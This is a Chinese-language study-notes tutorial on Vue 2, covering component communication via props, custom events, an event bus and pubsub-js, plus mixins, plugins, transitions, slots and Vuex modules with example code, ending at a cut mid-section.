1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <template> <div> <h1>{{msg}}</h1> <h2>学生名称:{{name}}</h2> <h2>学生性别:{{sex}}</h2> <h2>学生年龄:{{age + 1}}</h2> </div> </template> <script> export default { name:'Student', data() { return { msg: 'welcome', //props中的数据比data中的数据的优先级高,要想能够修改外部传入的数据则需要用以下代码过度 myAge:this.age } },//外部传入的数据(注意这些数据不能修改) props:['name','age','sex']//简单声明接收(常用) //接收的同时对数据进行类型限制 /*props:{ name:String, age:Number, sex:String }*/ //接受的同时对数据:进行类型限制+默认值的指定+必要性的限制(少用) /*props:{ name:{ type:String,//name的类型是字符串 required:true//name是必要的 }, age:{ type:Number, default:99//默认值 }, sex:{ type:String, required:true } }*/ } </script>
使用组件时:
1 2 <!-- 在使用组件时传入数据 --> <Student name="李四" sex="女" :age="18"/>
上面的方法都是父组件向子组件传递参数
子组件向父组件传递参数:
通过父组件给子组件传递函数类型的props实现;
父组件代码(App.vue):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <template> <div class="app"> <h1>{{msg}}</h1> <!-- 通过父组件给子组件传递函数类型的props实现:子给父传递数据 --> <School :getSchoolName="getSchoolName"/> <hr> <!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递参数 (第一种写法,使用@或v-on)--> <Student v-on:getStudentName.once="getStudentName"/> <!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递参数 (第二种写法,使用ref)--> <Student ref="student"/> <!-- 如果要想给自定义组件绑定(原生)事件则需要在后面加上.native否则Vue就将其当作自定义事件处理 <Student ref="student" @click.native="show"/> --> </div> </template> <script> import School from './components/School.vue'; import Student from './components/Student.vue'; export default { name: 'App', components:{School, Student}, data() { return { msg: 'hello' } }, methods: { getSchoolName(name) { console.log('App收到了学校名:',name); }, //...params的意思是当传入的参数过多时,第一个参数用name来接收,剩下的参数通过params来接收并自动生成一个数组 getStudentName(name,...params){ console.log('App收到了学生名:',name,params); } }, mounted() { //意思是程序运行后等待3s在给Student组件绑定一个getStudentName事件,所以在重程序运行后3s内通过Student组件触发getStudentName事件是不可以的 setTimeout(() => { // 先给Student组件绑定一个getStudentName事件,然后当触发getStudentName时调用getStudentName函数 this.$refs.student.$on('getStudentName',this.getStudentName) // 将上面的on改为once可以控制给事件只能触发一次 // this.$refs.student.$once('getStudentName',this.getStudentName) }, 3000); }, } </script> <style scoped> .app { background-color: grey; padding: 5px; } </style>
子组件代码(School.vue):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <template> <div class="school"> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> <button @click="sendSchoolName">把学校名给App</button> </div> </template> <script> export default { name:'School', props:['getSchoolName'], data() { return { name:'xxx大学', address:'武汉' } }, methods: { sendSchoolName() { this.getSchoolName(this.name) } }, } </script> <style scoped> .school{ background-color: skyblue; padding: 5px; } </style>
student.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <template> <div class="student"> <h2>学生名称:{{name}}</h2> <h2>学生性别:{{sex}}</h2> <h2>当前求和为:{{number}}</h2> <button @click="add">number++</button> <button @click="sendStudentName">把学生名给App</button> <button @click="unbind">解绑getStudentName事件</button> <button @click="death">销毁当前Student组件的实例(vc)</button> </div> </template> <script> export default { name:'Student', data() { return { name:'张三', sex:'男', number: 0 } }, methods: { sendStudentName() { // 触发Student组件实例身上的getStudentName事件 this.$emit('getStudentName',this.name,1,2,3) }, unbind() { this.$off('getStudentName')//只能解绑一个自定义事件 // this.$off(['getStudentName'],['第二个自定义事件'])解绑多个自定义事件 //this.$off()解绑该组件身上绑定的所有的自定义事件 }, death() { this.$destroy()//销毁了当前的Student组件的实例,销毁后所有的Student实例的自定义事件全部都不可用了,(低版本的Vue中先版本原生也不可用了)原生就有的事件还可以用,但是由于组件实例被删除,页面上对应的内容也不会再更改了 }, add() { console.log('add被调用了'); this.number++; } }, } </script> <style lang="less" scoped> .student{ background-color: pink; padding: 5px; margin-top: 30px; } </style>
mixin混入
当多个组件使用某些重复的函数,数据等的时候可以将这些重复的部分分离出来,写到一个xxx.js文件中,注意要将此文件暴露出去,使用的时候需要先引入,然后再配置mixins:[xxx]属性,此时(如本例子)就可以使用showName()方法了。
1 2 3 4 5 6 7 export const mixin = { methods : { showName ( ) { alert (this .name ); } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <template> <div> <h2 @click="showName">学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> </div> </template> <script> import {mixin} from '../mixin' export default { name:'School', data() { return { name:'xxx大学', address:'武汉' } }, mixins:[mixin] } </script>
全局混入: Vue.mixin(xxx)
如果要混合的数据原组件就存在,则以原组件的为准;注意当混合生命周期钩子的时候原来的和将混合的钩子都使用。
plugins插件的使用
本质:包含install方法的一个对象,install的第一个参数是Vue,第二个以后的参数是插件使用这传递的数据。
1、新建一个plugins.js在其中写入install(Vue,prop1,prop2…) {}
2、插件的使用:在main.js中先引入插件,然后通过Vue.use(xxx)应用插件
plugins.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 export default { install (Vue ) { Vue .filter ('mySlice' , function (value ) { return value.slice (0 , 4 ); }) Vue .directive ('fbind' , { bind (element, binding ) { element.value = binding.value ; }, inserted (element, binding ) { element.focus (); }, update (element, binding ) { element.value = binding.value ; } }) Vue .mixin ({ data ( ) { return { x : 100 , y : 200 } } }) Vue .prototype .hello = () => { alert ('你好!' ); } } }
main.js
在main.js中引入并应用插件
1 2 3 4 5 6 7 8 9 10 11 12 import Vue from 'vue' import App from './App.vue' import plugins from './plugins' Vue .config .productionTip = false ;Vue .use (plugins)new Vue ({ el : '#app' , render : h => h (App ) })
scoped的使用
作用:让样式在局部生效,防止冲突。加了scoped属性后,此处的css只用于该组件中的结构。(如果不写scoped,当各组件中style标签中如果写了相同的类名或id名时就会出现冲突,因为整合时会把所有组件中所写的css样式整合到一起)
写法:<style scoped>
查看webpack的所有版本:npm view webpack versions
查看less-loader的所有版本:npm view less-loader
注意:如果要使用less就需要安装less-loader,如果安装了默认的最新版本,可能会出现报错,原因是所使用的webpack的版本和less-loader的版本不兼容,所以要安装指定版本的less-loader。
npm install less-loader
@指定版本
1 2 3 4 5 6 7 8 <style lang="css" scoped>/*(不写lang属性默认也是css)*/ xxx xxx </style> <!-- <style lang="less" scoped> xxx xxx </style> -->
实现方法:
在结构中添加一个属性:例:<div data-v-3375b0b8 clss="abc">...</div>
样式中用属性选择器:例:.abc[data-v-3375b0b8] { background-color: skyblue; }
组件自定义事件的绑定与解绑
在beforeDestory生命周期钩子中,所有的自定义事件都会不解绑,但是原有的事件并没有被解绑。
子组件要是想给父组件传递数据,可以采用三种方式
1、在父组件中写一个方法并要求传入参数,然后将这个方法以参数的形式传入到子组件中,在子组件中通过props来声明接收,然后在子组件中想办法去调用父组件中传过来的方法并将想要传递的参数传入,在父组件中就可以收到子组件传递过来的数据了。
2、在父组件中写一个方法并要求传入参数,然后将这个方法通过事件绑定的方法绑定到子组件身上,此时子组件中就可以通过this.$emit(‘function’,params)来调用自己身上绑定的那个function方法,并将数据传递到父组件中;在子组件中也可以通过this.$off(‘function’)来解绑function方法,但是这种方法有一个弊端:一次只能解绑一个自定义事件;我们可以通过this.$off([‘function1’],[‘function2’]…)来解绑多个自定义事件;如果我们一次解绑所有的自定义事件,可以调用this.$off();这样就可以解绑该组件身上所绑定的所有的自定义事件了。
注意:如果销毁了当前的子组件的实例,销毁后所有的该子组件实例的自定义事件全部都不可用了,(低版本的Vue中先版本原生也不可用了)原生就有的事件还可以用,但是由于组件实例被删除,页面上对应的内容也不会再更改了
3、全局事件总线
子组件School.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <template> <div class="school"> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> <button @click="sendSchoolName">把学校名给App</button> </div> </template> <script> export default { name:'School', props:['getSchoolName'], data() { return { name:'xxx大学', address:'武汉' } }, methods: { sendSchoolName() { this.getSchoolName(this.name) } }, } </script> <style scoped> .school{ background-color: skyblue; padding: 5px; } </style>
子组件Student.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <template> <div class="student"> <h2>学生名称:{{name}}</h2> <h2>学生性别:{{sex}}</h2> <h2>当前求和为:{{number}}</h2> <button @click="add">number++</button> <button @click="sendStudentName">把学生名给App</button> <button @click="unbind">解绑getStudentName事件</button> <button @click="death">销毁当前Student组件的实例(vc)</button> </div> </template> <script> export default { name:'Student', data() { return { name:'张三', sex:'男', number: 0 } }, methods: { sendStudentName() { // 触发Student组件实例身上的getStudentName事件 this.$emit('getStudentName',this.name,1,2,3) }, unbind() { this.$off('getStudentName')//只能解绑一个自定义事件 // this.$off(['getStudentName'],['第二个自定义事件'])解绑多个自定义事件 //this.$off()解绑该组件身上绑定的所有的自定义事件 }, death() { this.$destroy()//销毁了当前的Student组件的实例,销毁后所有的Student实例的自定义事件全部都不可用了,(低版本的Vue中先版本原生也不可用了)原生就有的事件还可以用,但是由于组件实例被删除,页面上对应的内容也不会再更改了 }, add() { console.log('add被调用了'); this.number++; } }, } </script> <style lang="less" scoped> .student{ background-color: pink; padding: 5px; margin-top: 30px; } </style>
父组件App.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <template> <div class="app"> <h1>{{msg}}</h1> <!-- 通过父组件给子组件传递函数类型的props实现:子给父传递数据 --> <School :getSchoolName="getSchoolName"/> <hr> <Student v-on:getStudentName="getStudentName"/> <Student ref="student"/> <!-- 如果要想给自定义组件绑定(原生)事件则需要在后面加上.native否则Vue就将其当作自定义事件处理 <Student ref="student" @click.native="show"/> --> </div> </template> <script> import School from './components/School.vue'; import Student from './components/Student.vue'; export default { name: 'App', components:{School, Student}, data() { return { msg: 'hello' } }, methods: { getSchoolName(name) { console.log('App收到了学校名:',name); }, //...params的意思是当传入的参数过多时,第一个参数用name来接收,剩下的参数通过params来接收并自动生成一个数组 getStudentName(name,...params){ console.log('App收到了学生名:',name,params); } }, mounted() { //意思是程序运行后等待3s在给Student组件绑定一个getStudentName事件,所以在重程序运行后3s内通过Student组件触发getStudentName事件是不可以的 setTimeout(() => { // 先给Student组件绑定一个getStudentName事件,然后当触发getStudentName时调用getStudentName函数 this.$refs.student.$on('getStudentName',this.getStudentName) // 将上面的on改为once可以控制给事件只能触发一次 // this.$refs.student.$once('getStudentName',this.getStudentName) }, 3000); }, } </script> <style scoped> .app { background-color: grey; padding: 5px; } </style>
全局事件总线(用于组件间的数据传递) 优点:可以简化组件间数据传递的过程,尤其是需要跨过多个组件来传递数据的情况。
使用步骤:
先在App.vue中安装全局事件总线,在Vue原型对象上添加一个$bus对象,然后将其指向组件实例对象VueModel,即在App.vue中与render同级,添加一个生命周期钩子beforeCreate在其中写上Vue.Prototype.$bus = this
即可。
在子组件中子需要通过this.$bus.$on('function',(data) => {})
来往全局事件总线上添加方法即可,其它的组件如果想要给该组件传递数据,只需要通过this.$bus.$emit('function',params)
,即可把数据params传递给该组件并保存到data身上。
子组件School.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <template> <div class="school"> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> </div> </template> <script> export default { name:'School', data() { return { name:'xxx大学', address:'武汉' } }, mounted() { this.$bus.$on('hello',(data) => { console.log('我是School组件,收到了数据',data); }) }, //用完该全局事件后就需要解绑该事件 beforeDestroy() { this.$bus.$off('hello') }, } </script> <style scoped> .school{ background-color: skyblue; padding: 5px; } </style>
子组件Student.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <template> <div class="student"> <h2>学生名称:{{name}}</h2> <h2>学生性别:{{sex}}</h2> <button @click="sendStudentName">把学生名给School组件</button> </div> </template> <script> export default { name:'Student', data() { return { name:'张三', sex:'男', } }, methods:{ sendStudentName() { this.$bus.$emit('hello',this.name) } }, } </script> <style lang="less" scoped> .student{ background-color: pink; padding: 5px; margin-top: 30px; } </style>
父组件App.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <template> <div class="app"> <h1>{{msg}}</h1> <School/> <Student/> </div> </template> <script> import School from './components/School.vue'; import Student from './components/Student.vue'; export default { name: 'App', components:{School, Student}, data() { return { msg: 'hello' } }, } </script> <style scoped> .app { background-color: grey; padding: 5px; } </style>
消息订阅与发布
作用:一种组件间通信的方式,适用于任意组件间通信
使用步骤:
1、安装pubsub-js: npm i pubsub-js
2、引入:import pubsub-js from 'pubsub-js'
3、接收数据:A组件想接收数据,则在A组件中订阅消息,订阅的回调留在A组件自身。
1 2 3 4 5 6 7 methods() { demo(data) {...} } ...... mounted() { this.pid = pubsub.subscribe('xxx', this.demo)//订阅消息 }
4、提供数据:pubsub.publish('xxx',数据)
5、在beforeDestroy生命周期钩子中,用pubsub.unsubscribe(this.pubId)
去取消订阅
注意:在使用pubsub.publish('xxx', params)
传递参数的时候,不能传递多个参数,如果需要传递多个参数则需要将多个数据打包成一个对象或者是数据才可以传递。
nanoid的使用 简介: NanoID 是一个创建唯一 key 的轻量级的脚本库 ,在过去有类似需求首先想到的是 uuid ,与其相比 NanoID 要小得多。 如果你的项目有生成唯一 key 或者使用 uuid 的场合,那么从现在开始,请使用 NanoID。
使用方法: 首先安装nanoid脚本库:npm install nanoid
然后在文件中引用:import {nanoid} from 'nanoid'
使用时只需要调用nanoid()即可生成一个唯一的id:const testObj = {id:nanoid(), name:this.name}
nextTick函数的使用 1、语法:this.$nextTick(回调函数)
2、作用:在下一次DOM更新结束后执行其指定的回调
3、什么时候用:当改变数据后,要基于更新后的新DOM进行某些操作时,要在nextTick所指定的回调函数中执行
使用场景:
在同一个函数中如果需要在前面修改了数据后就立即先去重新解析模板然后再去继续执行后续代码,就需要用到this.$nextTick(function(){})函数了。
因为在同一个函数中只有当该函数中所有的代码都执行完毕后才会重新解析模板,如果已检测到修改了数据就去重新解析模板的话,会造成vue频繁的解析模板,出现效率底的问题。
那么当代码执行到该函数的时候,就会先去解析模板,然后再来执行该函数中的回调函数。
动画与过度
类名
作用
v-enter-active
进入时要播放的动画
v-leave-active
离开时要播放的动画
v-enter
进入的起点
v-enter-active
进入时的动画
v-enter-to
进入的终点
v-leave
离开的起点
v-leave-active
离开时的动画
v-leave-to
离开的终点
例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 /* 进入的起点、离开的终点 */ .hello-enter, .hello-leave-to{ transform: translateX(-100%); } .hello-enter-active, .hello-leave-active{ transition: 1s linear; } /* 进入的终点、离开的起点 */ .hello-enter-to, .hello-leave{ transform: translateX(0); }
动画函数:
1 2 3 4 5 6 7 8 @keyframes MyDisplay { from { transform: translateX(-100%); } to { transform: translateX(0px); } }
基本使用: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <template> <div> <button @click="isShow = !isShow">显示/隐藏</button> <transition appear> <h1 v-show="isShow">hello</h1> </transition> </div> </template> <script> export default { name: "test1", data() { return { isShow: true, } }, } </script> <style scoped> h1 { background-color: pink; } .v-enter-active { animation: MyDisplay 1s linear; } .v-leave-active { animation: MyDisplay 1s linear reverse; } @keyframes MyDisplay { from { transform: translateX(-100%); } to { transform: translateX(0px); } } </style>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <template> <div> <button @click="isShow = !isShow">显示/隐藏</button> <transition-group name="hello" appear> <h1 v-show="!isShow" key="1">hello</h1> <h1 v-show="isShow" key="2">你好</h1> </transition-group> </div> </template> <script> export default { name: "test2", data() { return { isShow: true, } }, } </script> <style scoped> h1 { background-color: pink; } /* 进入的起点、离开的终点 */ .hello-enter, .hello-leave-to{ transform: translateX(-100%); } .hello-enter-active, .hello-leave-active{ transition: 1s linear; } /* 进入的终点、离开的起点 */ .hello-enter-to, .hello-leave{ transform: translateX(0); } </style>
注意:此处给transition-group或transition添加name属性也很重要,因为如果不添加name属性那么当需要添加的动画和过度的元素数量不止一个的时候大家都会去找v-enter-…等类,那么会导致所有元素的动画都一样。但是添加了name属性后对应的元素就会去找对应的name-enter-…等类
第三方动画 使用第三方动画库时首先要安装对应的包:如:npm i animate.css
对应的网站地址:Animate.css | A cross-browser library of CSS animations.
基本用法: 1 2 3 4 5 6 7 <transition-group appear name="animate__animated animate__bounce" enter-active-class="animate__heartBeat" leave-active-class="animate__hinge"> <h1 v-show="isShow" key="1">hello</h1> </transition-group>
代理服务器的使用 在 vue.config.js 文件中的 pages 配置对象中添加一个 devServer 对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 devServer : { proxy : { '/zjq' : { target : 'http://localhost:5000' , pathRewrite : { '^/zjq' : '' }, ws : true , changeOrigin : true }, } }
axios的基本使用
安装:npm i axios
基本使用:
使用前要先引用:import axios from 'axios'
1 2 3 4 5 6 7 8 axios.get('http://localhost:8080/zjq/api/students').then( res => { console.log('请求成功了',res.data); }, error => { console.log('请求失败了',error.message); } )
注意:此处的访问地址 http://localhost:8080/zjq/api/students
和上方配置的代理服务器相对应
Vue-resource插件的使用 安装:npm i vue-resource
在main.js中
1、引入插件
import vueResource from 'vue-resource'
2、使用插件
Vue.use(vueResource)
此时VueComponent身上就会有一个$http
1 2 3 4 5 6 7 8 this.$http.get('http://localhost:8080/zjq/api/students').then( res => { console.log('请求成功了',res.data); }, error => { console.log('请求失败了',error.message); } )
插槽的基本使用
作用:等着使用者往插槽中填入结构
默认插槽 基本使用
新建一个组件xxx.vue
1 2 3 4 5 <div> <h3>{{title}}分类</h3> <!-- 定义一个插槽,等着组件的使用者进行填充 --> <slot>我是一个默认值当使用者没有传递具体结构时,我会出</slot> </div>
此处的title为父组件传递过来的数据
在使用该插槽的组件中先引入该组件 import xxx from .../xxx.vue
并注册该组件
1 2 3 4 <xxx title="内容"> 结构代码 </xxx> <!-- 此处写的结构将展示在xxx.vue中的slot标签里面,如果不写结构代码,则将展示xxx.vue中的默认的内容 -->
具名插槽 借本使用
新建一个组件xxx.vue
1 2 3 4 5 6 7 <div> <h3>{{title}}分类</h3> <!-- 定义一个插槽,等着组件的使用者进行填充 --> <!-- 此处name中的center和footer为例子 --> <slot name="center">我是一个默认值当使用者没有传递具体结构时,我会出</slot> <slot name="footer">我是一个默认值当使用者没有传递具体结构时,我会出</slot> </div>
此处的title为父组件传递过来的数据
在使用该插槽的组件中先引入该组件 import xxx from .../xxx.vue
并注册该组件
1 2 3 4 5 <xxx title="内容"> <img slot="center" src="xxx.png" alt=""/> <a slot="footer" href="javascript:0">更多</a> </xxx> <!-- 该插槽里面如果不写结构则将展示默认的结;使用插槽时,在标签结构中指明该结构将放入哪一个插槽中,即写上插槽名 slot="xxx",这样即可将该结构放入插槽名为xxx的插槽中-->
作用域插槽
作用域插槽主要处理的问题是:处理同一份数据,但是需要不同的呈现方式的情景。也就是说此时的数据在定义插槽的那个组件中。
以上两种插槽在使用时,数据都是在使用者手中的,所以使用者可以在本组件中随意的使用数据,但是如果数据定义在插槽所在的组件中,那么就需要解决一个问题,那就是如何将数据从插槽所在组件传入到使用插槽的组件中;作用域插槽就很好的解决了这个问题。
那么作用域插槽是如何解决这个问题的呢?往下看
定义一个组件xxx.vue,定一个插槽
1 2 3 4 <div> <h3>{{ title }}分类</h3> <slot :games="games">默认的内容</slot> </div>
注意:此时的数据games[…]在xxx.vue组件中
再使用插槽的组件中这样写即可:
1 2 3 4 5 6 7 <xxx title="游戏"> <template scope="demo"> <ul> <li v-for="(item, index) in demo.games" :key="index">{{ item }}</li> </ul> </template> </xxx>
注意此处的demo传回来的是一个对象所以必须使用demo.games才能拿到games数组了
es6结构赋值可以简化操作
1 2 3 4 5 6 7 <xxx title="游戏"> <template scope="{games}"> <ul> <li v-for="(item, index) in games" :key="index">{{ item }}</li> </ul> </template> </xxx>
此处的scope也可以使用slot-scope,没啥区别,只是新旧API的问题,
注意点:template、scope(不是scoped)
作用域插槽既可以和默认插槽配合使用也可以和具名插槽配合使用
vuex的使用 vuex是什么:
专门在Vue中实现集中式状态(数据)管理的一个Vue插件,对vue应用中多个组件的共享状态进行集中式的管理(读/写),也是一种组件间通信的方式,且适用于任意组件间通信
GitHub地址:https://github.com/vuejs/vuex
什么时候用vuex呢?
1、多个组件依赖于同一状态
2、来自不同组件的行为需要变更同一状态
vuex工作原理图:
基本使用步骤
注意事项:vue和vuex的版本对应关系。vue2—vuex3。vue3—vuex4。
安装: npm i vuex
安装指定版本: npm i vuex@版本号
1、 在main.js中引入vuex:import Vuex from 'vuex'
2、 在main.js中注册vuex:Vue.use(Vuex)
3、 在src/创建一个store文件夹,在store文件夹中创建一个index.js文件
以上几步结束后,Vue和Vue Component身上都会有$store了,这样就可以调用vuex中store身上的dispatch、commit等方法了
4、 编写index.js中的代码
基础配置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import Vuex from 'vuex' const actions = {}const mutations = {}const state = {}export default new Vuex .Store ({ actions, mutations, state })
实例代码(index.js):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import Vue from 'vue' import Vuex from 'vuex' Vue .use (Vuex )const actions = { jiaOdd (context, value ) { if (context.state .sum % 2 ) { context.commit ('JIA' , value) } }, jiaWait (context, value ) { setTimeout (() => { context.commit ('JIA' , value) }, 500 ); } } const mutations = { JIA (state, value ) { state.sum += value }, JIAN (state, value ) { state.sum -= value } } const state = { sum : 0 , } const getters = { bigSum (state ) { return state.sum * 10 ; } } export default new Vuex .Store ({ actions, mutations, state, getters, })
5、 然后到main.js中引入store:import store from './store/index.js'
也可以简写为:import store from './store'
当不指明store文件夹下的哪一个文件的时候,系统会默认该文件夹中去找index.js,如果没有index.js那么就不能这样简写。
6、 在main.js new Vue的时候将store当作参数传递进去。
1 2 3 4 5 new Vue ({ el : '#app' , render : h => h (App ), store, })
以上步骤结束后,所有的VueModel和VueComponents身上都会有$store了
经典错误:Uncaught Error: [vuex] must call Vue.use(Vuex) before creating a store instance.如果出现这样的错误那么说明你vuex的引用和use的位置出错了,我们需要将import Vuex from 'vuex'
Vue.use(Vuex)
写在index.js中,不能写在main.js中。
补充:帮助理解this.$store.dispatch('add', value)
、actions对象中对应的add(context, value)
和mutations对象中的ADD(state, value)
。首先,我们要知道数据存储在state对象中。当我们调用了this.$store.dispatch('add', value)
后,程序会去actions对象中去查找对应的add函数并将value值传入到add的value中;add中的context参数我们可以理解为是一个简化版的store,我门可以通过context.state.数据
的方式访问到state对象中存储的数据且可以通过context.commit('ADD', value)
的方式去执行mutations对象中对应的ADD函数,并将相应的value中传入到了ADD函数的参数value中了,在ADD函数中我们可以使用state.数据
的方式使用state中的数据。
最后当我们想在模板中使用state中的数据的时候,我们可以这样做:在函数中使用的时候:this.$store.state.数据
store.getters的使用 使用场景: 当需要将store中的数据进行相对复杂的处理 后供多个组件使用 的时候我们就需要用到这个配置项。
基本使用方法:
跟actions、mutations、state配置项一样,我们需要在index.js中,先准备好一个getters对象,该对象中写法和计算属性有些相似,如下
1 2 3 4 5 const getters = { fuzhachulihoudejieguo (state ) { return state.sum * 10 ; } }
注意:别忘了还要在Store对象中去配置,如下:
1 2 3 4 5 6 7 8 9 export default new Vuex .Store ({ actions, mutations, state, getters, })
以上操作都是在index.js中完成的
那么我们又该如何在组件中去使用经过复杂处理后的结果呢?
$store.getters.fuzhachulihoudejieguo
这样我们就可以拿到经过复杂处理后的结果了。
vuex中的mapState与mapGetters的使用 使用场景: 当我们在使用state中的数据的时候,总是需要通过$store.state.数据
的方式来获取数据,但是我们想简化这个操作,想和在组件中访问data中的数据那样{{数据}}
来获取数据。那么此时就需要用到mapState和mapGetters了。
使用方法:
假如state中的数据为:
1 2 3 4 5 6 7 8 9 const state = { data1 : 100 , data2 : 'string' , }, const getters = { fuzhachulihoudejieguo (state ) { return state.sum * 10 ; } }
1、 现在对应的组件中 引入: import {mapState,mapGetters} from 'vuex'
如果我们按照常规的方法去做,我们需要在相应的组件中写上计算属性,如下:
1 2 3 4 5 6 7 8 9 10 11 computed: { data1() { return this.$store.state.data1 }, data2() { return this.$store.state.data2 }, fuzhachulihoudejieguo() { return this.$store.getters.fuzhachulihoudejieguo } }
显然这样写代码就显得有点冗余
2、 利用mapState和mapGetters来简化操作
对象形式:
…mapState({data1: ‘data1’, data2: ‘data2’}),
…mapGetters({fuzhachulihoudejieguo: ‘fuzhachulihoudejieguo’})
简写形式:
…mapState([‘data1’,’data2’])
…mapGetters([‘fuzhachulihoudejieguo’])
vuex中的mapMutations与mapActions的使用 mapMutations的作用: 可以帮助我们简化this.$commit(“函数名”, 参数);
mapActions的作用: 可以帮助我们简化this.$store.dispatch(“函数名”,参数)
使用方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 /*increment() { this.$store.commit("JIA", this.n); }, decrement() { this.$store.commit("JIAN", this.n); },*/ //借助mapMutations生成对应的方法,方法中会调用commit去联系mutations(对象写法) ...mapMutations({increment:'JIA',decrement:'JIAN'}), //借助mapMutations生成对应的方法,方法中会调用commit去联系mutations(数组写法) // ...mapMutations(['JIA','JIAN']),此时button中绑定的事件就应该为引号中的内容 // incrementOdd() { // this.$store.dispatch("jiaOdd", this.n); // }, // incrementWait() { // this.$store.dispatch("jiaWait", this.n); // }, //借助mapActions生成对应的方法,方法中会调用dispatch去联系actions(对象写法) ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'}) //借助mapActions生成对应的方法,方法中会调用dispatch去联系actions(数组写法) // ...mapActions(['jiaOdd','jiaWait'])
注意使用时如何传参
1 2 3 4 <button @click="increment(n)">+</button> <button @click="decrement(n)">-</button> <button @click="incrementOdd(n)">当前求和为奇数再加</button> <button @click="incrementWait(n)">等一等再加</button>
vuex模块化编码 使用场景: 当处理的数据对象不是同一类,而且需要分开来处理的时候,我们就可以将其分别写在不同js文件中,然后将所有的js文件整合到index.js文件中。
例如:
count.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 export default { namespaced : true , actions : { jiaOdd (context, value ) { if (context.state .sum % 2 ) { context.commit ('JIA' , value) } }, jiaWait (context, value ) { setTimeout (() => { context.commit ('JIA' , value) }, 500 ); } }, mutations : { JIA (state, value ) { state.sum += value }, JIAN (state, value ) { state.sum -= value }, }, state : { sum : 0 , school : 'xxx大学' , subject : '前端' , }, getters : { bigSum (state ) { return state.sum * 10 ; } } }
person.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import axios from 'axios' import { nanoid } from 'nanoid' export default { namespaced : true , actions : { addPersonWang (context, value ) { if (value.name .indexOf ('王' ) === 0 ) { context.commit ('ADD_PERSON' , value) } else { alert ('添加的人必须姓王' ) } }, addPersonServer (context ) { axios.get ('http://127.0.0.1:5000/api/name' ).then ( res => { context.commit ('ADD_PERSON' , { id : nanoid (), name : res.data .data .name }) }, error => { alert (error.message ) } ) } }, mutations : { ADD_PERSON (state, value ) { state.personList .unshift (value) } }, state : { personList : [ { id : '001' , name : '张三' } ] }, getters : { firstPersonName (state ) { return state.personList [0 ].name } } }
index.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import Vue from 'vue' import Vuex from 'vuex' import countOptinos from './count' import personOptions from './person' Vue .use (Vuex )export default new Vuex .Store ({ modules : { countAbout : countOptinos, personAbout : personOptions, } })
在Count.vue中使用存在Vuex中数据的方法如下:
